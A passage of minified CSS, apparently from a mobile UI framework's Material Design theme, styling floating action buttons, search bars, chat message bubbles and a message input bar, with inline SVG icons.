.toolbar-bottom-md.tabbar-labels~.fab[class*="-bottom"]{margin-bottom:72px}.md .fab-morph{border-radius:28px;background:#2196f3;-webkit-box-shadow:0 3px 5px -1px rgba(0,0,0,.2),0 6px 10px 0 rgba(0,0,0,.14),0 1px 18px 0 rgba(0,0,0,.12);box-shadow:0 3px 5px -1px rgba(0,0,0,.2),0 6px 10px 0 rgba(0,0,0,.14),0 1px 18px 0 rgba(0,0,0,.12)}.md .fab-morph>a{-webkit-box-shadow:none;box-shadow:none;background:0 0!important}.md .fab-extended{min-width:48px}.md .fab-extended>a{height:48px}.md .fab-extended>a i{left:24px}.md .fab-extended i~.fab-text{padding-left:48px}.md .fab-text{font-weight:500;letter-spacing:.03em}.md .fab-label{-webkit-box-shadow:0 3px 3px -2px rgba(0,0,0,.2),0 3px 4px 0 rgba(0,0,0,.14),0 1px 8px 0 rgba(0,0,0,.12);box-shadow:0 3px 3px -2px rgba(0,0,0,.2),0 3px 4px 0 rgba(0,0,0,.14),0 1px 8px 0 rgba(0,0,0,.12)}.md .color-theme-red .fab-buttons a,.md .color-theme-red .fab>a,.md .color-theme-red.fab-buttons a,.md .color-theme-red.fab>a{background:#f44336}.md .color-theme-red .fab-buttons a.active-state,.md .color-theme-red .fab>a.active-state,.md .color-theme-red.fab-buttons a.active-state,.md .color-theme-red.fab>a.active-state{background:#f21f0f}.md .color-theme-red .fab-morph,.md .color-theme-red.fab-morph{background:#f44336}.md .color-theme-green .fab-buttons a,.md .color-theme-green .fab>a,.md .color-theme-green.fab-buttons a,.md .color-theme-green.fab>a{background:#4caf50}.md .color-theme-green .fab-buttons a.active-state,.md .color-theme-green .fab>a.active-state,.md .color-theme-green.fab-buttons a.active-state,.md .color-theme-green.fab>a.active-state{background:#409343}.md .color-theme-green .fab-morph,.md .color-theme-green.fab-morph{background:#4caf50}.md .color-theme-blue .fab-buttons a,.md .color-theme-blue .fab>a,.md .color-theme-blue.fab-buttons a,.md .color-theme-blue.fab>a{background:#2196f3}.md .color-theme-blue .fab-buttons a.active-state,.md .color-theme-blue .fab>a.active-state,.md .color-theme-blue.fab-buttons a.active-state,.md .color-theme-blue.fab>a.active-state{background:#0c82df}.md .color-theme-blue .fab-morph,.md .color-theme-blue.fab-morph{background:#2196f3}.md .color-theme-pink .fab-buttons a,.md .color-theme-pink .fab>a,.md .color-theme-pink.fab-buttons a,.md .color-theme-pink.fab>a{background:#e91e63}.md .color-theme-pink .fab-buttons a.active-state,.md .color-theme-pink .fab>a.active-state,.md .color-theme-pink.fab-buttons a.active-state,.md .color-theme-pink.fab>a.active-state{background:#ca1452}.md .color-theme-pink .fab-morph,.md .color-theme-pink.fab-morph{background:#e91e63}.md .color-theme-yellow .fab-buttons a,.md .color-theme-yellow .fab>a,.md .color-theme-yellow.fab-buttons a,.md .color-theme-yellow.fab>a{background:#ffeb3b}.md .color-theme-yellow .fab-buttons a.active-state,.md .color-theme-yellow .fab>a.active-state,.md .color-theme-yellow.fab-buttons a.active-state,.md .color-theme-yellow.fab>a.active-state{background:#ffe712}.md .color-theme-yellow .fab-morph,.md .color-theme-yellow.fab-morph{background:#ffeb3b}.md .color-theme-orange .fab-buttons a,.md .color-theme-orange .fab>a,.md .color-theme-orange.fab-buttons a,.md .color-theme-orange.fab>a{background:#ff9800}.md .color-theme-orange .fab-buttons a.active-state,.md .color-theme-orange .fab>a.active-state,.md .color-theme-orange.fab-buttons a.active-state,.md .color-theme-orange.fab>a.active-state{background:#d68000}.md .color-theme-orange .fab-morph,.md .color-theme-orange.fab-morph{background:#ff9800}.md .color-theme-gray .fab-buttons a,.md .color-theme-gray .fab>a,.md .color-theme-gray.fab-buttons a,.md .color-theme-gray.fab>a{background:#9e9e9e}.md .color-theme-gray .fab-buttons a.active-state,.md .color-theme-gray .fab>a.active-state,.md .color-theme-gray.fab-buttons a.active-state,.md .color-theme-gray.fab>a.active-state{background:#8a8a8a}.md .color-theme-gray .fab-morph,.md .color-theme-gray.fab-morph{background:#9e9e9e}.md .color-theme-white .fab-buttons a,.md .color-theme-white .fab>a,.md .color-theme-white.fab-buttons a,.md .color-theme-white.fab>a{background:#fff}.md .color-theme-white .fab-buttons a.active-state,.md .color-theme-white .fab>a.active-state,.md .color-theme-white.fab-buttons a.active-state,.md .color-theme-white.fab>a.active-state{background:#ebebeb}.md .color-theme-white .fab-morph,.md .color-theme-white.fab-morph{background:#fff}.md .color-theme-black .fab-buttons a,.md .color-theme-black .fab>a,.md .color-theme-black.fab-buttons a,.md .color-theme-black.fab>a{background:#000}.md .color-theme-black .fab-buttons a.active-state,.md .color-theme-black .fab>a.active-state,.md .color-theme-black.fab-buttons a.active-state,.md .color-theme-black.fab>a.active-state{background:#000}.md .color-theme-black .fab-morph,.md .color-theme-black.fab-morph{background:#000}.md .fab .fab-buttons>a.color-red,.md .fab-buttons.color-red a,.md .fab.color-red .fab-buttons>a,.md .fab.color-red>a,.md .fab>a.color-red{background:#f44336}.md .fab .fab-buttons>a.color-red.active-state,.md .fab-buttons.color-red a.active-state,.md .fab.color-red .fab-buttons>a.active-state,.md .fab.color-red>a.active-state,.md .fab>a.color-red.active-state{background:#f21f0f}.md .fab-morph.color-red{background:#f44336}.md .fab .fab-buttons>a.color-green,.md .fab-buttons.color-green a,.md .fab.color-green .fab-buttons>a,.md .fab.color-green>a,.md .fab>a.color-green{background:#4caf50}.md .fab .fab-buttons>a.color-green.active-state,.md .fab-buttons.color-green a.active-state,.md .fab.color-green .fab-buttons>a.active-state,.md .fab.color-green>a.active-state,.md .fab>a.color-green.active-state{background:#409343}.md .fab-morph.color-green{background:#4caf50}.md .fab .fab-buttons>a.color-blue,.md .fab-buttons.color-blue a,.md .fab.color-blue .fab-buttons>a,.md .fab.color-blue>a,.md .fab>a.color-blue{background:#2196f3}.md .fab .fab-buttons>a.color-blue.active-state,.md .fab-buttons.color-blue a.active-state,.md .fab.color-blue .fab-buttons>a.active-state,.md .fab.color-blue>a.active-state,.md .fab>a.color-blue.active-state{background:#0c82df}.md .fab-morph.color-blue{background:#2196f3}.md .fab .fab-buttons>a.color-pink,.md .fab-buttons.color-pink a,.md .fab.color-pink .fab-buttons>a,.md .fab.color-pink>a,.md .fab>a.color-pink{background:#e91e63}.md .fab .fab-buttons>a.color-pink.active-state,.md .fab-buttons.color-pink a.active-state,.md .fab.color-pink .fab-buttons>a.active-state,.md .fab.color-pink>a.active-state,.md .fab>a.color-pink.active-state{background:#ca1452}.md .fab-morph.color-pink{background:#e91e63}.md .fab .fab-buttons>a.color-yellow,.md .fab-buttons.color-yellow a,.md .fab.color-yellow .fab-buttons>a,.md .fab.color-yellow>a,.md .fab>a.color-yellow{background:#ffeb3b}.md .fab .fab-buttons>a.color-yellow.active-state,.md .fab-buttons.color-yellow a.active-state,.md .fab.color-yellow .fab-buttons>a.active-state,.md .fab.color-yellow>a.active-state,.md .fab>a.color-yellow.active-state{background:#ffe712}.md .fab-morph.color-yellow{background:#ffeb3b}.md .fab .fab-buttons>a.color-orange,.md .fab-buttons.color-orange a,.md .fab.color-orange .fab-buttons>a,.md .fab.color-orange>a,.md .fab>a.color-orange{background:#ff9800}.md .fab .fab-buttons>a.color-orange.active-state,.md .fab-buttons.color-orange a.active-state,.md .fab.color-orange .fab-buttons>a.active-state,.md .fab.color-orange>a.active-state,.md .fab>a.color-orange.active-state{background:#d68000}.md .fab-morph.color-orange{background:#ff9800}.md .fab .fab-buttons>a.color-gray,.md .fab-buttons.color-gray a,.md .fab.color-gray .fab-buttons>a,.md .fab.color-gray>a,.md .fab>a.color-gray{background:#9e9e9e}.md .fab .fab-buttons>a.color-gray.active-state,.md .fab-buttons.color-gray a.active-state,.md .fab.color-gray .fab-buttons>a.active-state,.md .fab.color-gray>a.active-state,.md .fab>a.color-gray.active-state{background:#8a8a8a}.md .fab-morph.color-gray{background:#9e9e9e}.md .fab .fab-buttons>a.color-white,.md .fab-buttons.color-white a,.md .fab.color-white .fab-buttons>a,.md .fab.color-white>a,.md .fab>a.color-white{background:#fff}.md .fab .fab-buttons>a.color-white.active-state,.md .fab-buttons.color-white a.active-state,.md .fab.color-white .fab-buttons>a.active-state,.md .fab.color-white>a.active-state,.md .fab>a.color-white.active-state{background:#ebebeb}.md .fab-morph.color-white{background:#fff}.md .fab .fab-buttons>a.color-black,.md .fab-buttons.color-black a,.md .fab.color-black .fab-buttons>a,.md .fab.color-black>a,.md .fab>a.color-black{background:#000}.md .fab .fab-buttons>a.color-black.active-state,.md .fab-buttons.color-black a.active-state,.md .fab.color-black .fab-buttons>a.active-state,.md .fab.color-black>a.active-state,.md .fab>a.color-black.active-state{background:#000}.md .fab-morph.color-black{background:#000}.md.device-iphone-x .fab[class*="-bottom"]{bottom:calc(16px + constant(safe-area-inset-bottom));bottom:calc(16px + env(safe-area-inset-bottom))}@media (orientation:landscape){.md.device-iphone-x .ios-edges .fab[class*=fab-left],.md.device-iphone-x .ios-left-edge .fab[class*=fab-left],.md.device-iphone-x .panel-left .fab[class*=fab-left],.md.device-iphone-x .popup .fab[class*=fab-left],.md.device-iphone-x .sheet-modal .fab[class*=fab-left]{left:calc(16px + constant(safe-area-inset-left));left:calc(16px + env(safe-area-inset-left))}.md.device-iphone-x .ios-edges .fab[class*=fab-right],.md.device-iphone-x .ios-right-edge .fab[class*=fab-right],.md.device-iphone-x .panel-right .fab[class*=fab-right],.md.device-iphone-x .popup .fab[class*=fab-right],.md.device-iphone-x .sheet-modal .fab[class*=fab-right]{right:calc(16px + constant(safe-area-inset-right));right:calc(16px + env(safe-area-inset-right))}}.searchbar{width:100%;position:relative;z-index:200}.searchbar .searchbar-input-wrap{-webkit-flex-shrink:1;-ms-flex-negative:1;flex-shrink:1;width:100%;height:100%;position:relative}.searchbar .searchbar-input-wrap input[type=search]{padding:0}.searchbar .searchbar-input-wrap input::-webkit-search-cancel-button{-webkit-appearance:none;appearance:none}.page>.searchbar{position:absolute;left:0;top:0}.searchbar-expandable{position:absolute;-webkit-transition-duration:.3s;transition-duration:.3s;pointer-events:none}.searchbar-inner{position:absolute;left:0;top:0;width:100%;height:100%;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;-webkit-box-sizing:border-box;box-sizing:border-box}.searchbar-disable-button{cursor:pointer;pointer-events:none;-webkit-appearance:none;-moz-appearance:none;appearance:none;background:0 0;border:none;outline:0;padding:0;margin:0;width:auto;opacity:0}.searchbar-icon{pointer-events:none;background-position:center;background-repeat:no-repeat}.searchbar-backdrop{position:absolute;left:0;top:0;width:100%;height:100%;z-index:100;opacity:0;pointer-events:none;-webkit-transition-duration:.3s;transition-duration:.3s;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}.searchbar-backdrop.searchbar-backdrop-in{opacity:1;pointer-events:auto}.page-content>.searchbar-backdrop{position:fixed}.searchbar-not-found{display:none}.hidden-by-searchbar,.list .hidden-by-searchbar,.list li.hidden-by-searchbar,.list.li.hidden-by-searchbar{display:none!important}.md .searchbar{height:48px;background:#fff}.md .searchbar input[type=search],.md .searchbar input[type=text]{padding-right:65px;padding-left:48px;-webkit-box-sizing:border-box;box-sizing:border-box;width:100%;height:100%;display:block;border:none;-webkit-appearance:none;-moz-appearance:none;appearance:none;font-family:inherit;font-size:20px;color:#000;font-weight:400}.md .searchbar input[type=search]::-webkit-input-placeholder,.md .searchbar input[type=text]::-webkit-input-placeholder{color:#939398;opacity:1}.md .searchbar input[type=search]:-ms-input-placeholder,.md .searchbar input[type=text]:-ms-input-placeholder{color:#939398;opacity:1}.md .searchbar input[type=search]::-ms-input-placeholder,.md .searchbar input[type=text]::-ms-input-placeholder{color:#939398;opacity:1}.md .searchbar input[type=search]::placeholder,.md .searchbar input[type=text]::placeholder{color:#939398;opacity:1}.md .searchbar-expandable{height:100%}.md .searchbar-backdrop{background:rgba(0,0,0,.25)}.md .searchbar-disable-button,.md .searchbar-icon{position:absolute;width:48px;height:48px;right:-4px;top:50%;margin-top:-24px;background-size:24px 24px;background-repeat:no-repeat;background-position:center;-webkit-transition-duration:.3s;transition-duration:.3s}.md .searchbar-icon{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20fill%3D'%23737373'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%20width%3D'24'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M15.5%2014h-.79l-.28-.27C15.41%2012.59%2016%2011.11%2016%209.5%2016%205.91%2013.09%203%209.5%203S3%205.91%203%209.5%205.91%2016%209.5%2016c1.61%200%203.09-.59%204.23-1.57l.27.28v.79l5%204.99L20.49%2019l-4.99-5zm-6%200C7.01%2014%205%2011.99%205%209.5S7.01%205%209.5%205%2014%207.01%2014%209.5%2011.99%2014%209.5%2014z'%2F%3E%3Cpath%20d%3D'M0%200h24v24H0z'%20fill%3D'none'%2F%3E%3C%2Fsvg%3E")}.md .searchbar-disable-button{-webkit-transform:rotate(-90deg) scale(.5);transform:rotate(-90deg) scale(.5);font-size:0!important;display:block;background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M12%204l-1.41%201.41L16.17%2011H4v2h12.17l-5.58%205.59L12%2020l8-8z'%20fill%3D'%23737373'%2F%3E%3C%2Fsvg%3E")}.md .searchbar-disable-button:before{content:'';width:152%;height:152%;position:absolute;left:-26%;top:-26%;background-image:-webkit-radial-gradient(center,circle,rgba(0,0,0,.1) 66%,rgba(0,0,0,0) 66%);background-image:radial-gradient(circle at center,rgba(0,0,0,.1) 66%,rgba(0,0,0,0) 66%);background-repeat:no-repeat;background-position:center;background-size:100% 100%;opacity:0;pointer-events:none;-webkit-transition-duration:.6s;transition-duration:.6s}.md .searchbar-disable-button.active-state:before{opacity:1;-webkit-transition-duration:150ms;transition-duration:150ms}.md .searchbar-enabled .searchbar-disable-button{-webkit-transform:rotate(0) scale(1);transform:rotate(0) scale(1);pointer-events:auto;opacity:1}.md .searchbar-enabled .searchbar-icon{opacity:0;-webkit-transform:rotate(90deg) scale(.5);transform:rotate(90deg) scale(.5)}.md .searchbar .input-clear-button{width:48px;height:48px;margin-top:-24px;background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20fill%3D'%23737373'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%20width%3D'24'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M19%206.41L17.59%205%2012%2010.59%206.41%205%205%206.41%2010.59%2012%205%2017.59%206.41%2019%2012%2013.41%2017.59%2019%2019%2017.59%2013.41%2012z'%2F%3E%3Cpath%20d%3D'M0%200h24v24H0z'%20fill%3D'none'%2F%3E%3C%2Fsvg%3E");border-radius:0;background-repeat:no-repeat;background-position:center;background-size:24px 24px;background-color:transparent;left:0}.md .searchbar .input-clear-button:before{content:'';width:152%;height:152%;position:absolute;left:-26%;top:-26%;background-image:-webkit-radial-gradient(center,circle,rgba(0,0,0,.1) 66%,rgba(0,0,0,0) 66%);background-image:radial-gradient(circle at center,rgba(0,0,0,.1) 66%,rgba(0,0,0,0) 66%);background-repeat:no-repeat;background-position:center;background-size:100% 100%;opacity:0;pointer-events:none;-webkit-transition-duration:.6s;transition-duration:.6s}.md .searchbar .input-clear-button.active-state:before{opacity:1;-webkit-transition-duration:150ms;transition-duration:150ms}.md .searchbar .input-clear-button:after{display:none}.md .searchbar .input-clear-button:before{margin-left:0;margin-top:0}.md .page-content .searchbar{border-radius:2px;margin:8px;width:auto;-webkit-box-shadow:0 1px 3px rgba(0,0,0,.12),0 1px 2px rgba(0,0,0,.24);box-shadow:0 1px 3px rgba(0,0,0,.12),0 1px 2px rgba(0,0,0,.24)}.md .page-content .searchbar .searchbar-inner{border-radius:2px}.md .page>.searchbar{z-index:510}.md .page>.searchbar:after{content:'';position:absolute;right:0;width:100%;top:100%;bottom:auto;height:10px;pointer-events:none;background:-webkit-gradient(linear,left top,left bottom,from(rgba(0,0,0,.3)),color-stop(40%,rgba(0,0,0,.1)),color-stop(50%,rgba(0,0,0,.05)),color-stop(80%,rgba(0,0,0,0)),to(rgba(0,0,0,0)));background:-webkit-linear-gradient(top,rgba(0,0,0,.3) 0,rgba(0,0,0,.1) 40%,rgba(0,0,0,.05) 50%,rgba(0,0,0,0) 80%,rgba(0,0,0,0) 100%);background:linear-gradient(to bottom,rgba(0,0,0,.3) 0,rgba(0,0,0,.1) 40%,rgba(0,0,0,.05) 50%,rgba(0,0,0,0) 80%,rgba(0,0,0,0) 100%)}.md .page>.searchbar.no-shadow:after{display:none}.md .page>.searchbar input[type=search],.md .page>.searchbar input[type=text],.md .searchbar-expandable input[type=search],.md .searchbar-expandable input[type=text],.md .subnavbar .searchbar input[type=search],.md .subnavbar .searchbar input[type=text]{padding-right:73px}.md .page>.searchbar .searchbar-disable-button,.md .page>.searchbar .searchbar-icon,.md .searchbar-expandable .searchbar-disable-button,.md .searchbar-expandable .searchbar-icon,.md .subnavbar .searchbar .searchbar-disable-button,.md .subnavbar .searchbar .searchbar-icon{right:4px}.md .searchbar-expandable{width:56px;height:100%;opacity:0;top:50%;margin-top:-28px;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0);right:100%;margin-right:-56px}.md .navbar .searchbar-expandable{border-radius:28px;width:56px;margin-top:-28px;margin-right:-56px}@media (min-width:768px){.md .navbar .searchbar-expandable{border-radius:32px;width:64px;margin-top:-32px;margin-right:-64px}}.md .subnavbar .searchbar-expandable,.md .toolbar .searchbar-expandable{border-radius:24px;width:48px;margin-top:-24px;margin-right:-56px}.md .tabbar-labels .searchbar-expandable{border-radius:36px;width:72px;margin-top:-36px;margin-right:-72px}.md .searchbar-expandable.searchbar-enabled{width:100%;border-radius:0;opacity:1;pointer-events:auto;top:0;margin-top:0;right:0;margin-right:0}.md .page>.searchbar~* .page-content,.md .page>.searchbar~.page-content{padding-top:48px}.md .page>.navbar~.searchbar{top:56px}@media (min-width:768px){.md .page>.navbar~.searchbar{top:64px}}.md .page>.navbar~.searchbar~* .page-content,.md .page>.navbar~.searchbar~.page-content{padding-top:104px}@media (min-width:768px){.md .page>.navbar~.searchbar~* .page-content,.md .page>.navbar~.searchbar~.page-content{padding-top:112px}}.md .page>.toolbar:not(.toolbar-bottom-md):not(.messagebar)~.searchbar{top:48px}.md .page>.toolbar:not(.toolbar-bottom-md):not(.messagebar)~.searchbar~* .page-content,.md .page>.toolbar:not(.toolbar-bottom-md):not(.messagebar)~.searchbar~.page-content{padding-top:96px}.md .page>.tabbar-labels:not(.toolbar-bottom-md)~.searchbar{top:72px}.md .page>.tabbar-labels:not(.toolbar-bottom-md)~.searchbar~* .page-content,.md .page>.tabbar-labels:not(.toolbar-bottom-md)~.searchbar~.page-content{padding-top:120px}.md .page>.navbar~.toolbar:not(.toolbar-bottom-md):not(.messagebar)~.searchbar{top:104px}@media (min-width:768px){.md .page>.navbar~.toolbar:not(.toolbar-bottom-md):not(.messagebar)~.searchbar{top:112px}}.md .page>.navbar~.toolbar:not(.toolbar-bottom-md):not(.messagebar)~.searchbar~* .page-content,.md .page>.navbar~.toolbar:not(.toolbar-bottom-md):not(.messagebar)~.searchbar~.page-content{padding-top:152px}@media (min-width:768px){.md .page>.navbar~.toolbar:not(.toolbar-bottom-md):not(.messagebar)~.searchbar~* .page-content,.md .page>.navbar~.toolbar:not(.toolbar-bottom-md):not(.messagebar)~.searchbar~.page-content{padding-top:160px}}.md .page>.navbar~.tabbar-labels:not(.toolbar-bottom-md)~.searchbar{top:128px}@media (min-width:768px){.md .page>.navbar~.tabbar-labels:not(.toolbar-bottom-md)~.searchbar{top:136px}}.md .page>.navbar~.tabbar-labels:not(.toolbar-bottom-md)~.searchbar~* .page-content,.md .page>.navbar~.tabbar-labels:not(.toolbar-bottom-md)~.searchbar~.page-content{padding-top:176px}@media (min-width:768px){.md .page>.navbar~.tabbar-labels:not(.toolbar-bottom-md)~.searchbar~* .page-content,.md .page>.navbar~.tabbar-labels:not(.toolbar-bottom-md)~.searchbar~.page-content{padding-top:184px}}@media (orientation:landscape){.md.device-iphone-x .ios-edges .searchbar-inner,.md.device-iphone-x .ios-left-edge .searchbar-inner,.md.device-iphone-x .panel-left .searchbar-inner,.md.device-iphone-x .popup .searchbar-inner,.md.device-iphone-x .sheet-modal .searchbar-inner{padding-left:constant(safe-area-inset-left);padding-left:env(safe-area-inset-left)}.md.device-iphone-x .ios-edges .searchbar-inner,.md.device-iphone-x .ios-right-edge .searchbar-inner,.md.device-iphone-x .panel-right .searchbar-inner,.md.device-iphone-x .popup .searchbar-inner,.md.device-iphone-x .sheet-modal .searchbar-inner{padding-right:constant(safe-area-inset-right);padding-right:env(safe-area-inset-right)}.md.device-iphone-x .ios-edges .searchbar-disable-button,.md.device-iphone-x .ios-right-edge .searchbar-disable-button,.md.device-iphone-x .panel-right .searchbar-disable-button,.md.device-iphone-x .popup .searchbar-disable-button,.md.device-iphone-x .sheet-modal .searchbar-disable-button{right:calc(4px + constant(safe-area-inset-right));right:calc(4px + env(safe-area-inset-right))}}.messages{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-orient:vertical;-webkit-box-direction:normal;-webkit-flex-direction:column;-ms-flex-direction:column;flex-direction:column;min-height:100%;position:relative;z-index:1}.messages-title{text-align:center;width:100%;line-height:1}.message{max-width:70%;-webkit-box-sizing:border-box;box-sizing:border-box;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-align:end;-webkit-align-items:flex-end;-ms-flex-align:end;align-items:flex-end;position:relative;z-index:1;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}.message-avatar{border-radius:50%;position:relative;background-size:cover;-webkit-align-self:flex-end;-ms-flex-item-align:end;align-self:flex-end;-webkit-flex-shrink:0;-ms-flex-negative:0;flex-shrink:0}.message-content{position:relative;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-orient:vertical;-webkit-box-direction:normal;-webkit-flex-direction:column;-ms-flex-direction:column;flex-direction:column}.message-footer,.message-header,.message-name{line-height:1;font-size:12px}.message-footer{font-size:11px;margin-bottom:-1em}.message-bubble{-webkit-box-sizing:border-box;box-sizing:border-box;word-break:break-word;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-orient:vertical;-webkit-box-direction:normal;-webkit-flex-direction:column;-ms-flex-direction:column;flex-direction:column;position:relative;line-height:1.2}.message-image img{display:block;max-width:100%;height:auto;width:auto}.message-text-footer,.message-text-header{font-size:12px;line-height:1}.message-text{text-align:left}.message-sent{text-align:right;-webkit-box-orient:horizontal;-webkit-box-direction:normal;-webkit-flex-direction:row;-ms-flex-direction:row;flex-direction:row;-webkit-align-self:flex-start;-ms-flex-item-align:start;align-self:flex-start}.message-received{-webkit-box-orient:horizontal;-webkit-box-direction:reverse;-webkit-flex-direction:row-reverse;-ms-flex-direction:row-reverse;flex-direction:row-reverse;-webkit-align-self:flex-end;-ms-flex-item-align:end;align-self:flex-end}.message-received .message-content{-webkit-box-align:end;-webkit-align-items:flex-end;-ms-flex-align:end;align-items:flex-end}.message-sent .message-content{-webkit-box-align:start;-webkit-align-items:flex-start;-ms-flex-align:start;align-items:flex-start}.message:not(.message-last) .message-avatar{opacity:0}.message:not(.message-first) .message-name{display:none}.message.message-same-name .message-name{display:none}.message.message-same-header .message-header{display:none}.message.message-same-footer .message-footer{display:none}.message-appear-from-bottom{-webkit-animation:message-appear-from-bottom .3s;animation:message-appear-from-bottom .3s}.message-appear-from-top{-webkit-animation:message-appear-from-top .3s;animation:message-appear-from-top .3s}.message-typing-indicator{display:inline-block;font-size:0;vertical-align:middle}.message-typing-indicator>div{display:inline-block;position:relative;background:#000;vertical-align:middle;border-radius:50%}@-webkit-keyframes message-appear-from-bottom{from{-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}to{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}}@keyframes message-appear-from-bottom{from{-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}to{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}}@-webkit-keyframes message-appear-from-top{from{-webkit-transform:translate3d(0,-100%,0);transform:translate3d(0,-100%,0)}to{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}}@keyframes message-appear-from-top{from{-webkit-transform:translate3d(0,-100%,0);transform:translate3d(0,-100%,0)}to{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}}.md .messages,.md .messages-content{background:#eee}.md .message{margin-top:16px}.md .message:last-child{margin-bottom:16px}.md .messages-title{font-size:12px;color:rgba(0,0,0,.51);margin-top:16px}.md .messages-title:last-child{margin-bottom:16px}.md .messages-title b{font-weight:500}.md .message-avatar{width:32px;height:32px}.md .message-footer,.md .message-header,.md .message-name{color:rgba(0,0,0,.51)}.md .message-footer b,.md .message-header b,.md .message-name b{font-weight:500}.md .message-header,.md .message-name{margin-bottom:2px}.md .message-footer{margin-top:2px}.md .message-bubble{font-size:16px;border-radius:2px;padding:6px 8px;min-height:32px}.md .message-text-footer,.md .message-text-header{color:rgba(0,0,0,.51)}.md .message-text-header{margin-bottom:4px}.md .message-text-footer{margin-top:4px}.md .message-received{margin-left:8px}.md .message-received .message-bubble{color:#333;background:#fff}.md .message-received .message-avatar+.message-content{margin-left:8px}.md .message-received.message-tail .message-bubble{border-radius:2px 2px 2px 0}.md .message-received.message-tail .message-bubble:before{position:absolute;content:'';border-left:8px solid transparent;border-right:0 solid transparent;border-bottom:8px solid #fff;right:100%;bottom:0;width:0;height:0}.md .message-sent{margin-right:8px}.md .message-sent .message-bubble{color:#333;background:#c8e6c9}.md .message-sent .message-avatar+.message-content{margin-right:8px}.md .message-sent.message-tail .message-bubble{border-radius:2px 2px 0 2px}.md .message-sent.message-tail .message-bubble:before{position:absolute;content:'';border-right:8px solid transparent;border-left:0 solid transparent;border-bottom:8px solid #c8e6c9;left:100%;bottom:0;width:0;height:0}.md .message+.message:not(.message-first){margin-top:8px}.md .message-typing-indicator>div{width:6px;height:6px;opacity:.6}.md .message-typing-indicator>div+div{margin-right:6px}.md .message-typing-indicator>div:nth-child(1){-webkit-animation:md-message-typing-indicator .9s infinite;animation:md-message-typing-indicator .9s infinite}.md .message-typing-indicator>div:nth-child(2){-webkit-animation:md-message-typing-indicator .9s 150ms infinite;animation:md-message-typing-indicator .9s 150ms infinite}.md .message-typing-indicator>div:nth-child(3){-webkit-animation:md-message-typing-indicator .9s .3s infinite;animation:md-message-typing-indicator .9s .3s infinite}.md .theme-dark .messages,.md .theme-dark .messages-content,.messages-content.md .theme-dark,.messages.md .theme-dark{background-color:transparent}.md .theme-dark .messages-title{color:rgba(255,255,255,.54)}.md .theme-dark .message-footer,.md .theme-dark .message-header,.md .theme-dark .message-name{color:rgba(255,255,255,.54)}@media (orientation:landscape){.md.device-iphone-x .ios-edges .message-received,.md.device-iphone-x .ios-left-edge .message-received,.md.device-iphone-x .panel-left .message-received,.md.device-iphone-x .popup .message-received,.md.device-iphone-x .sheet-modal .message-received{margin-left:calc(8px + constant(safe-area-inset-left));margin-left:calc(8px + env(safe-area-inset-left))}.md.device-iphone-x .ios-edges .message-sent,.md.device-iphone-x .ios-right-edge .message-sent,.md.device-iphone-x .panel-right .message-sent,.md.device-iphone-x .popup .message-sent,.md.device-iphone-x .sheet-modal .message-sent{margin-right:calc(8px + constant(safe-area-inset-right));margin-right:calc(8px + env(safe-area-inset-right))}}@-webkit-keyframes md-message-typing-indicator{0%{-webkit-transform:translateY(0);transform:translateY(0)}25%{-webkit-transform:translateY(-5px);transform:translateY(-5px)}50%{-webkit-transform:translateY(0);transform:translateY(0)}}@keyframes md-message-typing-indicator{0%{-webkit-transform:translateY(0);transform:translateY(0)}25%{-webkit-transform:translateY(-5px);transform:translateY(-5px)}50%{-webkit-transform:translateY(0);transform:translateY(0)}}.toolbar.messagebar{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0);background:#fff;height:auto}.toolbar.messagebar .toolbar-inner{position:relative;-webkit-box-orient:horizontal;-webkit-box-direction:reverse;-webkit-flex-direction:row-reverse;-ms-flex-direction:row-reverse;flex-direction:row-reverse}.toolbar.messagebar .messagebar-area{width:100%;-webkit-flex-shrink:1;-ms-flex-negative:1;flex-shrink:1;overflow:hidden;position:relative}.toolbar.messagebar textarea{width:100%;-webkit-flex-shrink:1;-ms-flex-negative:1;flex-shrink:1}.toolbar.messagebar a.link{-webkit-align-self:flex-end;-ms-flex-item-align:end;align-self:flex-end;-webkit-flex-shrink:0;-ms-flex-negative:0;flex-shrink:0}.messagebar-attachments{width:100%;overflow:auto;-webkit-overflow-scrolling:touch;font-size:0;white-space:nowrap;-webkit-box-sizing:border-box;box-sizing:border-box;position:relative}.messagebar:not(.messagebar-attachments-visible) .messagebar-attachments{display:none}.messagebar-attachment{background-size:cover;background-position:center;background-repeat:no-repeat;display:inline-block;vertical-align:middle;white-space:normal;height:155px;position:relative}@media (orientation:landscape){.messagebar-attachment{height:120px}}.messagebar-attachment 